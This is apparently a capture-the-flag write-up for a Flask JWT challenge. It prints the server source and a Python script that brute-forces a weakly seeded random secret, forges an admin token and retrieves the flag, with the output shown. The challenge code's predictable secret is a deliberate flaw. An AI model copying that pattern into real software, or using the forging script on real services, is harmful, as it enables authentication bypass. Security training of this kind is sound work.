Master JWT
Description

https://jwt.ctf.cert.unlp.edu.ar
Source:
from flask import Flask, request, jsonify, make_response
from flask_limiter import Limiter
from jwt import decode, encode, exceptions
import random
from random import randint
import os
from flask import Flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
limiter = Limiter(
app=app,
default_limits=["2 per minute"],
key_func=get_remote_address,
)
random.seed(f"Sup3S4f3{randint(0, 1000)}")
app.secret_key = f"Sup3S4f3{randint(0, 1000000000000)}"
FLAG = os.environ.get("FLAG", "CTF{fake_flag}")
@app.route('/', methods=['GET'])
@limiter.limit("2 per minute")
def index():
jwt_token = request.headers.get('Authorization')
if not jwt_token:
response = make_response(jsonify({"error": "Missing JWT token"}), 401)
new_token = encode({"user": "non privileged"}, app.secret_key, algorithm='HS256')
response.headers['WWW-Authenticate'] = f'Bearer {new_token}'
return response
try:
payload = decode(jwt_token, app.secret_key, algorithms=['HS256'])
user = payload.get('user', '')
if user.lower() == 'admin':
return jsonify({"flag": FLAG}), 200
else:
return jsonify({"error": "Not authorized"}), 403
except exceptions.InvalidTokenError:
return jsonify({"error": "Invalid JWT token"}), 401
app.run(debug=False, host="0.0.0.0",port=1337)
Solution
The jwt is using a secret generated from random value, this is unsecure because it's first using seed and then random. If seed is found all other "random" values will also be found.
First lets get the JWT token generated by application.
➜ curl -I https://jwt.ctf.cert.unlp.edu.ar
HTTP/1.1 401 UNAUTHORIZED
server: Werkzeug/3.0.0 Python/3.9.18
date: Thu, 26 Oct 2023 12:00:55 GMT
content-type: application/json
content-length: 30
www-authenticate: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M
Bruteforce the seed:
from jwt import encode
import random
from random import randint
import requests
URL = 'https://jwt.ctf.cert.unlp.edu.ar'
target = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M'
for i in range(1001):
random.seed(f"Sup3S4f3{i}")
secret_key = f"Sup3S4f3{randint(0, 1000000000000)}"
token = encode({"user": "non privileged"}, secret_key, algorithm='HS256')
if token == target:
print()
print("Key Found:", secret_key)
break
print(f'\rTrying {secret_key=}', end='')
token = encode({"user": "admin"}, secret_key, algorithm='HS256')
print("Admin Token:", token)
resp = requests.get(URL, headers={"Authorization": token})
print(resp.text)
└─$ python solve.py
Trying secret_key='Sup3S4f3499870157290'
Key Found: Sup3S4f3789214526580
Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.FFNcWmXDu-hxFMSo424FA5OXVT9NkWG-zGGA82oSQZ0
{"flag":"flag{JwT_M4st3r!!!!}"}
Flag: flag{JwT_M4st3r!!!!}
Last updated